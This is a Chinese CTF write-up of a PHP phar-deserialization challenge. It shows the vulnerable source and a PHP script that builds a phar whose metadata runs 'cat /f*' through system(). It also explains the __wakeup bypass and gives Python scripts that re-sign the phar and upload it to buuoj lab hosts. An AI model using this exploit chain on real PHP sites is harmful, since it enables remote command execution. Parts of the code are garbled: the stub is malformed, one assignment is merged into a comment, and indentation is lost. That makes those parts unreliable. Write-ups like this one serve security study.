WEEK5|WEB Unserialize Again

DGhh發表於2024-08-02

進入後是一個檔案上傳但是這裡並沒有漏洞點
image

看cookie

image

得到原始碼

 <?php
highlight_file(__FILE__);
error_reporting(0);  
class story{
    private $user='admin';
    public $pass;
    public $eating;
    public $God='false';
    public function __wakeup(){
        $this->user='human';
        if(1==1){
            die();
        }
        if(1!=1){
            echo $fffflag;
        }
    }
    public function __construct(){
        $this->user='AshenOne';
        $this->eating='fire';
        die();
    }
    public function __tostring(){
        return $this->user.$this->pass;
    }
    public function __invoke(){
        if($this->user=='admin'&&$this->pass=='admin'){
            echo $nothing;
        }
    }
    public function __destruct(){
        if($this->God=='true'&&$this->user=='admin'){
            system($this->eating);
        }
        else{
            die('Get Out!');
        }
    }
}                 
if(isset($_GET['pear'])&&isset($_GET['apple'])){
    // $Eden=new story();
    $pear=$_GET['pear'];
    $Adam=$_GET['apple'];
    $file=file_get_contents('php://input');
    file_put_contents($pear,urldecode($file));
    file_exists($Adam);
}
else{
    echo '多吃雪梨';
} 多吃雪梨

先找利用點

system($this->eating);

這一題很明顯沒有serialize、unserialize
但是我們又要利用反序列化
很明顯這一題是phar的反序列化

我們要注意
利用file_exists($Adam);反序列化時我們要繞過__wakeup()

先進行生成.phar檔案

<?php
class story{
    public $eating = 'cat /f*';  //賦值要執行的命令
    public $God='true';  //滿足if條件
}
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>"); //設定stub
$o = new story();
$phar->setMetadata($o); //將自定義meta-data存入manifest
$phar->addFromString("a.txt", "666");  //新增要壓縮的檔案
$phar->stopBuffering();

接下來我們修改序列化內容的屬性數值以此來繞過__wakeup()

image
如果你用010開啟不是這個效果
image

這個地方改為十六進位制即可

改完屬性值我們的檔案簽名就廢了
需要重新簽名

演算法
Phar 檔案的簽名演算法有幾種可選的型別,每種型別都有不同的安全特性和應用場景。你可以根據具體需求選擇合適的簽名演算法。Phar 提供的簽名演算法包括:

Phar::MD5: 基本的雜湊演算法,不推薦用於安全敏感的應用,因為 MD5 已被證明不夠安全。
Phar::SHA1: 較 MD5 更安全的雜湊演算法,但在高安全性需求的場景中也已不再推薦使用。
Phar::SHA256: 更加安全的雜湊演算法,適合大多數應用場景。
Phar::SHA512: 高安全性的雜湊演算法,適合需要最高安全性的場景。
Phar::OPENSSL: 使用 OpenSSL 庫進行簽名,支援多種加密演算法,可以提供最高的安全性,但需要額外的配置和依賴。
如何判斷簽名演算法是什麼我是真不知道 下面是偷的指令碼 ``` sha1 from hashlib import sha1 with open('1.phar', 'rb') as file: f = file.read() #開啟名為1.phar的檔案,以二進位制只讀模式讀取檔案內容,並將其儲存到變數f中 s = f[:-28] # 獲取要簽名的資料(s) h = f[-8:] # 獲取簽名型別和GBMB標識(h) newf = s + sha1(s).digest() + h # 對要簽名的資料進行SHA-1雜湊計算,並將原始資料、簽名和型別/標識拼接成新的資料newf with open('newtest.phar', 'wb') as file: file.write(newf) ``` ``` SHA256 from hashlib import sha256 with open("hacker1.phar",'rb') as f: text=f.read() main=text[:-40] #正文部分(除去最後40位元組) end=text[-8:] #最後八位也是不變的 new_sign=sha256(main).digest() new_phar=main+new_sign+end open("hacker1.phar",'wb').write(new_phar) #將新生成的內容以二進位制方式覆蓋寫入原來的phar檔案 ``` 指令碼上傳 ``` import urllib.parse import os import re import requests

url='http://1c6e2942-f983-47cc-a6ef-9612e7519196.node4.buuoj.cn:81/'
pattern = r'flag{.+?}'
params={
'pear':'hacker1.phar',
'apple':'phar://hacker1.phar'
}

with open('hacker1.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
matches = re.findall(pattern, fin.text)
for match in matches:
print(match)


from hashlib import sha1
import urllib.parse
import os
import re
import requests
pattern = r'flag{.+?}'
url="http://87ab80e5-0c08-4d4f-a179-2718e0526959.node4.buuoj.cn:81/"#替換為題目靶機地址params={
'pear':'1.phar',
'apple':'phar://1.phar'}
if os.path.exists('1.phar'):
with open('1.phar', 'rb') as file:
f = file.read()
s = f[:-28]
h = f[-8:]
newf = s + sha1(s).digest() + h
with open('newtest.phar', 'wb') as file:
file.write(newf)
os.remove('1.phar')with open('newtest.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
# print(ff)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
matches = re.findall(pattern, fin.text)
for match in matches:
print(match)

os.remove('newtest.phar')

指令碼來源
[1](https://blog.csdn.net/m0_73512445/article/details/133694293 "1")
[2](https://blog.csdn.net/2301_76690905/article/details/134315263 "2")

相關文章